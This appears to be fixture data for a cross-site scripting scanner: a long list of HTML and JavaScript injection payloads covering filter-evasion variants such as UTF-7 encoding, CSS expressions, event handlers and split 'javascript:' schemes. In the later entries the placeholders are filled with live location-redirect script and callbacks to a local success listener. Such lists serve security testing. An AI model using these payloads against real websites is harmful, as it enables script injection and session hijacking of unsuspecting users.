      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-1f07b150313664c0bdca3c97d27625f7+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:550d6a578981c547c93f457ac79f641b\">\n",
      "<STYLE>li {list-style-image: url(\"f9f9c90392fcf4de1b5bd44e6a1c7d20</STYLE><UL><LI>f9f9c90392fcf4de1b5bd44e6a1c7d20\n",
      "<a href=\"javascript#1d34cc5e499b0ce6517374a21186d71e\">\n",
      "<input type=\"image\" dynsrc=\"14f57b191e299ed2097f1bcb940e40e6\">\n",
      "&d1dbc4b5708cd692d86b731a06021dc4\">\n",
      "&{7c6469949eadff662a55a69d5ad46321};\n",
      "<IMG SRC=&{a38c3369dee3ac45a487f7b757927445};>\n",
      "<a href=\"about:3ff89b3818e7fff1b14a14a8242164cd\">\n",
      "<DIV STYLE=\"binding: url(javascript:5cff374042b403867e774165edfffe59);\">\n",
      "<xml id=\"X\"><a><b>d69257ee4b2f4d79e1b62cbf44f69844;<b></a></xml>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:dd175673b5323505699c9946494b6a9d\">\n",
      "![CDATA[<!--]]<SCRIPT>a24ea4189b145f9ea9a07a63bcd07e47//--></SCRIPT>\n",
      "<!-- -- -->5466250fc542a195668ead411d712e0d<!-- -- -->\n",
      "<style><!--</style><SCRIPT>d443c0d1cf631410b07390a8b3402e39//--></SCRIPT>\n",
      "<select onfocus=javascript:65c974644f458bd1b87096588779b058 autofocus>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#3f970196a46c8a56c8228ab0db6ef8f3\"></div>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:946d4fc3462a2be0254528b5b5d3b044\">X\n",
      "<input onfocus=javascript:1401883cc2eecc64505beba99eb382d8 autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:56f6fbf90e85f0e011ec74e6f7254611\">]]</C><X></xml>\n",
      "<keygen onfocus=javascript:bf233bf9a0a397eef8cc57a40fb58b11 autofocus>\n",
      "<video poster=javascript:c8d547487a3668eacf6458222b3d1790//\n",
      "<input onblur=javascript:d4bf637fa58ed605f4d4c8f6abaf820b autofocus><input autofocus>\n",
      "<textarea onfocus=javascript:8afc054609b7677cfb361ce87862bc5e autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:d113b964e20180fe73fa425173304d87>X\n",
      "<body onscroll=2a735a51e6ecaaf2295ad85141e469d3><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:8fd37e01798996552c017f674a3a4bb3><input></form>\n",
      "<video><source onerror=\"javascript:bc112edf55a917e91a615d163e3db3d0\">\n",
      "<video onerror=\"javascript:71f580ebe7d10d469d56d888eb7f8c0f\"><source>\n",
      "\">caa8ad01ead113ba4b77bc6cb94ab1a0\n",
      "\"><SCRIPT>alert('175a818f16f6c2d8f21800551a08def0')</SCRIPT>\n",
      "'';!--\"<ea7f3f7ca761ffbacc3231397da0365e>=&{()}\"\n",
      "</TITLE>54fabd9bb6acc6155be99d054717d720\n",
      "'';!--\"<fc24087e61cb2a12045fb152e752e9d1>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"6bca6a97c226f8d6a0e2c12ec98a924a\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=6b13e282f7a0006eeb99404b861fb8c6>\n",
      "<IMG SRC=\"66741846f9832b8f7ba1066cc610df23\">\n",
      "<IMG SRC=1f08069363617cb240a9ee8d99de7215>\n",
      "<IMG SRC=`83c65ffb3f943468de27dd9973e56ded`>\n",
      "<IMG \"\"\">26fe087d4fe9ae53737d499f72b39650\">\n",
      "<IMG SRC=\" &#14;  b6e399df7a584716fb9b22fe2638ee22\">\n",
      "<<SCRIPT>5e549bac1a0aed7faf4433e32e32d84a//<</SCRIPT>\n",
      "<IMG SRC='90350e2547b65a26be34858531ab4606'\n",
      "<DIV STYLE=\"behaviour: url(a8ee0dc7c01f386fafd63b5a90c7237e);\">\n",
      "\";15c152fceb3517e3d27ad4bf1dbcb343//\n",
      "<BODY BACKGROUND=\"bfe881f100916cb283117aea797931d7\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"6e0873e49a972706af2a448bccd130ad\">\n",
      "<IMG DYNSRC=\"8ceee60468efafeb13b5eb26bb90df9f\">\n",
      "<BODY ONLOAD=a93bf2481fd6dc7cfb48e421475944e6>\n",
      "<IMG LOWSRC=\"9683a04bf0f551659c1a64710b4e1ca7\">\n",
      "<BGSOUND SRC=\"da990b2f5ec9f9614c9a9279d7d30f2d\">\n",
      "<BR SIZE=\"&{4e531b96aab9f625312919641e3d82e4}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"2e6f5e0fef260a70e726eb6cacbfc431\">\n",
      "<IMG SRC='vbscript:540d9dc2533777bfc8f6dbecd2073112'>\n",
      "<IMG SRC=\"mocha:[bdd2fcb737f4c1c4508d0dec71c9a96b]\">\n",
      "<IMG SRC=\"livescript:[f62128c946d98733eab873f08aaabfd3]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=7cf43349e50afe66aa929cc74041419f\">\n",
      "<TABLE BACKGROUND=\"fa99fa1207f8dbb79a76cd8e3d4edeb0\">\n",
      "<TABLE BACKGROUND=javascript:609a855c923e17124a56bd054905fa44>\n",
      "<TABLE><TD BACKGROUND=\"635a390b2be866a57f9ff4b1c59b9330\">\n",
      "<DIV STYLE=\"background-image: url(4ddc93f835ce46a53a08d751e643e08c);\">\n",
      "<DIV STYLE=\"width: expression(60f732acfe6e435fc9400e997e2ccaeb);\">\n",
      "<IFRAME SRC=\"dd429aa08f44484de027d8ae274449fe\"></IFRAME>\n",
      "<iframe/ /onload=f691609f76d29d15f4bead5350c5313e></iframe>\n",
      "<iframe/ \"onload=f03d8948428a766f4c6e8a0c726dd7d7></iframe>\n",
      "<iframe///////onload=c79fc07737053867a36c70c2f79b11b3></iframe>\n",
      "<iframe/ \"onload=d50508474c0392a57934db468dadeaa8></iframe>\n",
      "<iframe \"onload=786f00db55d23dc0f9ca0ea81c2e6b40></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=e8dc6d57cb0cd09fabf84295786e4774></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=7b6a82551868ecaeeef136315727c991></iframe>\n",
      "<FRAMESET><FRAME SRC=\"d4b699f45bb75e622210012d6c04b36e\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"e11585e069a2f3faad5069553e506bc2\">\n",
      "<TABLE><TD BACKGROUND=\"2e6ebc91a66c012fc7d499503fe52f32\">\n",
      "<DIV STYLE=\"background-image: url(&#1;f03ff6342a1a25ea411c8434c33e1ee9)\">\n",
      "<DIV STYLE=\"width: expression(3cdc59e6869e230594f685f0d7530960);\">\n",
      "<IMG STYLE=\"xss:expr/*8aeb513035ebc40c67cd25736dccc5d7*/ession(8aeb513035ebc40c67cd25736dccc5d7)\">\n",
      "<72e01645c22b16c2b24f31131bacef90 STYLE=\"xss:expression(72e01645c22b16c2b24f31131bacef90)\">\n",
      "<STYLE>.9aca521790b882daf8100846bdf41802{background-image:url(\"9aca521790b882daf8100846bdf41802\");}</STYLE><A CLASS=9aca521790b882daf8100846bdf41802></A>\n",
      "<STYLE TYPE=\"text/javascript\">32a2dd558c4311a20514139453880a87</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"4e33b9068c8521ecd56a082b114a8df0\")}</STYLE>\n",
      "<!--[if gte IE 4]>1113edbafe777f72cffafba32f51598d<![endif]-->\n",
      "<BASE HREF=\"8640073f9928846d557ca4df06d22dc4//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=103d03a25450a7be59b55135623089c0></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"900dec6631faf7cf3baea551e93fd032\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>869894204b1afedcf6786c0bce1f639c</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;12cfb888f87e96f2b14eb6eea6f976c1&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:cdd07e0504e203a27ad7a7cdde04b8d8\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:e1befdfccd45611b319cb83af70bfeaf\">\n",
      "<SCRIPT SRC=http://127.0.0.1>92fd631c885f6d8757be7a36c9064159</SCRIPT>\n",
      "--- <IMG SRC=\" &#14;  a57a293912f101871300fa4317dd9709\">\n",
      "--- <IMG SRC=\"ebacf3609654f30bf770d705fa29a267\"\n",
      "<SCRIPT>a=/975c5b8f1c6e2b69c3ca3ec458bd882d/alert(a.source)</SCRIPT>\n",
      "--- \";44ec967be6c3cc98a00a072d843f0986;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=04ab7a694f8e650875aa3b0af8ac160e\">\n",
      "<SCRIPT <B>=90740d788b8bb20dfb9a1551855d0886\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:08d7dec3f2d3f59f1a61c59119c4df69 <\n",
      "<SCRIPT>a=/b949b04f7482eedae87b067403fe2b70/nb949b04f7482eedae87b067403fe2b70</SCRIPT>\n",
      "<LAYER SRC=\"javascript:e2d86cb4a4a2a7987d0353e920753e5a></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"50df55a7d41aa7fc29a8e8bee2cfeb96</STYLE><UL><LI>50df55a7d41aa7fc29a8e8bee2cfeb96\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:220bd4c0da9a24535432f2ad09e1447f\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-7d7190872e3adf31165c2f622bc6301a+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#d60f9b975bfc457b1d4b87aa5659d0ca\">\n",
      "<input type=\"image\" dynsrc=\"9d5a9feaf74e46226fe133b0079c5f0c\">\n",
      "&{599909f19d3bd52d788e30656288f19f};\n",
      "<a href=\"about:a025f84f99af6231688f245fb4f0b826\">\n",
      "<DIV STYLE=\"binding: url(javascript:f3e367a9968b8e7985c495ec8c200461);\">\n",
      "<IMG SRC=&{bd30675173d8a5211b2cbf2575bd2cae};>\n",
      "&08ed8238ad4e1511bcfc0dcb6fcc751c\">\n",
      "<style><!--</style><SCRIPT>671a41d9267c4a929e0eb0502795000b//--></SCRIPT>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:d2530aa87b229acc9aa913f5a8466cc0\">\n",
      "![CDATA[<!--]]<SCRIPT>cd3757a0d6d1472270b4527f219a7d9b//--></SCRIPT>\n",
      "<!-- -- -->763f6eb09be3f4888ef6d295fba0c38b<!-- -- -->\n",
      "<xml id=\"X\"><a><b>5f496aea219e54277942a3788aff1f2e;<b></a></xml>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:ca0e35115730096db6bff1f00f625334\">]]</C><X></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#3ced19e44bb7386fe2b7dd5ac212d347\"></div>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:6893b683f8b7ff4de4378a9de2afa5a4\">X\n",
      "<input onfocus=javascript:d00742d7723a00cef9a2a085993b54aa autofocus>\n",
      "<textarea onfocus=javascript:9aa998c3043c41acb7c958684ceb2dea autofocus>\n",
      "<select onfocus=javascript:eba1893779d785b047e272c819c0ba4e autofocus>\n",
      "<keygen onfocus=javascript:4808ad3d086312d39771689879c8a1bf autofocus>\n",
      "<input onblur=javascript:75f7fbb017c9c479d41074299d839395 autofocus><input autofocus>\n",
      "X<form id=test onforminput=javascript:f9a3ab56f927f5c0dd2167c4893fb7b1><input></form>\n",
      "<body onscroll=3d42f017080bd7f6a8840778e254042a><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:92f1e2f72a96cd47abdbdd12c12f73f7>X\n",
      "<video poster=javascript:58bcc5fd4846e39a1db22e23fa20b04a//\n",
      "<video><source onerror=\"javascript:575b7e40727199153b93bbb773150170\">\n",
      "<video onerror=\"javascript:547e76e683d8b98a0034b081751e1269\"><source>\n",
      "<Script>alert(/xss/)</script>\n",
      "<Script>alert(/xss/)</script>\n",
      "\">942a28476da3879d2d603dbcfb0aa949\n",
      "\"><SCRIPT>alert('7957c9b1af8ef703aed7729c31bddc5d')</SCRIPT>\n",
      "'';!--\"<7726ad014a3ee4afaf63552c9c3a26cd>=&{()}\"\n",
      "</TITLE>277561866d286c8f185fe2b57afb6bf9\n",
      "\"><img src=\"x:x\" onerror=\"9a5125c57c7faaef2245606c483ccb8d\">\n",
      "<IMG SRC=\"b196146f3a2691850a04c59b047e80a5\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=a89c361263d75feb7e4897e2a5bd7240>\n",
      "'';!--\"<771e20d0da57e6675c6752aef826e7ce>=&{()}\"\n",
      "<IMG SRC=f5b219339ead07fe7facd706d84ec011>\n",
      "<IMG \"\"\">db8c603a83388cc5576f40f554ab28d5\">\n",
      "<IMG SRC=`3df4331452b3f700f1f3e891059131d4`>\n",
      "<IMG SRC=\" &#14;  b95367060c888a48cafb371c4f07cdda\">\n",
      "<DIV STYLE=\"behaviour: url(5d8bdf866e3e0d6f38915795bc42f280);\">\n",
      "<<SCRIPT>f7194e40e4ec6a6b90c0d7a73ca5f4dc//<</SCRIPT>\n",
      "\";c138640cc16f9c002ec48b5ff952c714//\n",
      "<IMG SRC='49d1f67b4e3c10dc713d55718a995436'\n",
      "<BODY BACKGROUND=\"0e3002227d418e339c3fb0e658552863\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"d31ba18635258f10abaca92be7b9a371\">\n",
      "<BODY ONLOAD=ef2f42be9f0fc8c8f28a4da4c291369e>\n",
      "<IMG DYNSRC=\"566ed08c7ccfd39408959a3b47f36475\">\n",
      "<IMG LOWSRC=\"48be82bc01a3bf8d01c8244bca5081ea\">\n",
      "<BGSOUND SRC=\"52a52456082ff06bb9124d8299a9404a\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"d59e034379231e01aa6df0877cc3ecaf\">\n",
      "<BR SIZE=\"&{ca1a0f1db8cbc86ccf878521fab74251}\">\n",
      "<IMG SRC='vbscript:1b2380c8b2d14ead243e786c82440dda'>\n",
      "<IMG SRC=\"mocha:[e897c8385f8f276e12cee62fe60a8a2d]\">\n",
      "<IMG SRC=\"livescript:[7643ffa164fda6b2925a98f7115ac87a]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=e57c6c84e2eeed57a3bc6296470fdcdc\">\n",
      "<TABLE BACKGROUND=\"e0ea6b97657356be22ed6e248347d54c\">\n",
      "<TABLE BACKGROUND=javascript:2b1770974f816e06e0255893ce1bd227>\n",
      "<TABLE><TD BACKGROUND=\"b6dc1d8f857c32618a527d04cb431e83\">\n",
      "<DIV STYLE=\"background-image: url(e0ebea2db3f7948e03deac6556861026);\">\n",
      "<DIV STYLE=\"width: expression(da6cb1f1e8b064aff631f1d2fdeb6b20);\">\n",
      "<IFRAME SRC=\"afcdd675fb6986c4abd716317454f031\"></IFRAME>\n",
      "<iframe/ /onload=0023aa71280dda36da09a50e5a9340d0></iframe>\n",
      "<iframe/ \"onload=b314f4477a9156cb0b20681a56de98dd></iframe>\n",
      "<iframe///////onload=46f31d5f98916945081910fd72ea0cc9></iframe>\n",
      "<iframe \"onload=4e6bdb0c6e9e45e1f628355024e8acd0></iframe>\n",
      "<iframe/ \"onload=c719f7d5aab4ec8370d985490cb3ef83></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=0dd5fd7c04f1fc5724cc51e713a8bc54></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=00cfc1983c8727efb320169674164359></iframe>\n",
      "<FRAMESET><FRAME SRC=\"af262c0175e65d87105af7654dab14a6\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"22fcf9585c895f6fea2239cf808c2d71\">\n",
      "<TABLE><TD BACKGROUND=\"dbf52a39e68b30c977ff0a5a04a1f77e\">\n",
      "<DIV STYLE=\"background-image: url(&#1;1b4e65a07c1eb662b1ee1e7ce62da25f)\">\n",
      "<IMG STYLE=\"xss:expr/*2a29fe543a657a8f2b185bf5eaf055b5*/ession(2a29fe543a657a8f2b185bf5eaf055b5)\">\n",
      "<DIV STYLE=\"width: expression(67c99a357158ac66e75380e27295f4ee);\">\n",
      "<544bfc2174db4f4bb99e98e934a50876 STYLE=\"xss:expression(544bfc2174db4f4bb99e98e934a50876)\">\n",
      "<STYLE TYPE=\"text/javascript\">9ee8852722391e0155442d069e53384a</STYLE>\n",
      "<STYLE>.03c879199ad9c5644283ab7b53ae488b{background-image:url(\"03c879199ad9c5644283ab7b53ae488b\");}</STYLE><A CLASS=03c879199ad9c5644283ab7b53ae488b></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"7b9499d62fbf6abea0b7d9bd33a9bf93\")}</STYLE>\n",
      "<!--[if gte IE 4]>751bb5240e6064ea9815084b8a81c210<![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=deecbce1d20ba929b681eb1460d61d49></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"28e79ff764795e167866630acc3af0f1\")\";eval(a+b+c+d);\n",
      "<BASE HREF=\"b72bf407e664b856b8635059e3b8f91e//\">\n",
      "<? echo('<SCR)';echo('IPT>65b9dcd00f041dd1cb1f7d3509df39a5</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;85d443bbe4d584942e3a78ab0c8b1528&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>ce50eb57894563fc1eee6d6662504db0</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:98c351e5344014f29ee0fed470e51fec\">\n",
      "--- <IMG SRC=\" &#14;  f1e10b0350fc9626df36480d6bfafb26\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:9a2c0f5b398ba697a692b4dbb1bd9638\">\n",
      "--- <IMG SRC=\"d45f65ce2e1b974a8b8bea7d4741e87f\"\n",
      "<SCRIPT>a=/01f83ea7c53dfe2a657cda8ef6e1b621/alert(a.source)</SCRIPT>\n",
      "--- \";5dd72331bce893f11610e3cc194e7835;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=545b467431d0e5c2f5bfa2aea3fa3768\">\n",
      "<SCRIPT <B>=a4c4181f32fdee784f1b1252a6bc303a\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:27089a90f84e27d368a832f1d5bc01bb <\n",
      "<SCRIPT>a=/f52aff9ff0c84b52b85670e59d1909b5/nf52aff9ff0c84b52b85670e59d1909b5</SCRIPT>\n",
      "<LAYER SRC=\"javascript:84c2e9442b0e5cbdf68cd49a8e4fb4d2></LAYER>\n",
      "<a href=\"javascript#ae77b572dd9433760eecd7a2aaacb08a\">\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:a12e65bf9357c1d793083f352a9314f6\">\n",
      "<input type=\"image\" dynsrc=\"9140dba52dd1820cb0efe47ab4b3a917\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-d6af74aa673c5be949e38b25348a2602+ADw-/SCRIPT+AD4-\n",
      "<STYLE>li {list-style-image: url(\"517a8a96adb3178674357c76793203b9</STYLE><UL><LI>517a8a96adb3178674357c76793203b9\n",
      "<IMG SRC=&{8594ba07e4ad917222e36b150ff7bbad};>\n",
      "<DIV STYLE=\"binding: url(javascript:a67dddf8f88fdd86651eb2e071f5a69d);\">\n",
      "&{9dfb2e6aec87f2203c7f835144c7f08b};\n",
      "<a href=\"about:72fb53ebac6fba4b43434382b5407b60\">\n",
      "&c71c56dc33b929eb32e26b5a9891187c\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:34b85d8f41d2f0d78258a1ebe38f97f9\">\n",
      "<style><!--</style><SCRIPT>d125e90a4c83978abbff0aad574a7d27//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>cd4a3e54ebef31a89017459ded0ec00c//--></SCRIPT>\n",
      "<!-- -- -->f036a4f17a845d6f4c4974a3f1b84a1f<!-- -- -->\n",
      "<xml id=\"X\"><a><b>8a9ac1a5bd28a946867ae858dc695e29;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#e76596d328ab15efb4b7b4c5d94b76f8\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:0a74b165c51c7b2806a4180144cdf611\">]]</C><X></xml>\n",
      "<input onfocus=javascript:52514ecffca1c941c306381d1ba87957 autofocus>\n",
      "<textarea onfocus=javascript:73e267cd075d2882a5c7c62313efb51b autofocus>\n",
      "<select onfocus=javascript:f1ae3a1b43c3380372dc3274ec6e7462 autofocus>\n",
      "<keygen onfocus=javascript:fe5be6a62e469b5cfd70fd5407088d9c autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:0208cb659250ec7736067537a33c8ac6\">X\n",
      "<video poster=javascript:58d2f6d89aac64ca74fb8bc5c4afd1da//\n",
      "<input onblur=javascript:729ccd33689d114698dc4169b68c15f6 autofocus><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:fa40823c99a464011cf107871b85893d>X\n",
      "<video><source onerror=\"javascript:326ddc54277c77c7da44dfc27be063a2\">\n",
      "<body onscroll=3095cdaef0a3cbf81ef67779d5e717f1><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test onforminput=javascript:5d9ab250b6353f2c53b5298fcb174055><input></form>\n",
      "<video onerror=\"javascript:616b53db49b1f7c4d9a2bd62a0d3d17a\"><source>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/9a5125c57c7faaef2245606c483ccb8d\">\n",
      "<IMG SRC=http://localhost:19084/success/f5b219339ead07fe7facd706d84ec011>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/1b2380c8b2d14ead243e786c82440dda'>\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/af262c0175e65d87105af7654dab14a6\"></FRAMESET>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/d31ba18635258f10abaca92be7b9a371\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/e0ea6b97657356be22ed6e248347d54c\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/52a52456082ff06bb9124d8299a9404a\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/0e3002227d418e339c3fb0e658552863\">\n",
      "<IMG SRC=\"http://localhost:19084/success/b196146f3a2691850a04c59b047e80a5\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/b6dc1d8f857c32618a527d04cb431e83\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/dbf52a39e68b30c977ff0a5a04a1f77e\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/afcdd675fb6986c4abd716317454f031\"></IFRAME>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/d59e034379231e01aa6df0877cc3ecaf\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC=`http://localhost:19084/success/3df4331452b3f700f1f3e891059131d4`>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/03c879199ad9c5644283ab7b53ae488b\");}</STYLE><A CLASS=XSS></A>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/566ed08c7ccfd39408959a3b47f36475\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/9140dba52dd1820cb0efe47ab4b3a917\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/e897c8385f8f276e12cee62fe60a8a2d]\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/48be82bc01a3bf8d01c8244bca5081ea\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/22fcf9585c895f6fea2239cf808c2d71\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/28e79ff764795e167866630acc3af0f1\")\";eval(a+b+c+d);\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/d45f65ce2e1b974a8b8bea7d4741e87f\"\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<IMG SRC=&{http://localhost:19084/success/8594ba07e4ad917222e36b150ff7bbad};>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/0a74b165c51c7b2806a4180144cdf611\">]]</C><X></xml>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/7643ffa164fda6b2925a98f7115ac87a]\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC='http://localhost:19084/success/49d1f67b4e3c10dc713d55718a995436'\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/7b9499d62fbf6abea0b7d9bd33a9bf93\")}</STYLE>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "`http://localhost:19084/success/3df4331452b3f700f1f3e891059131d4`\n",
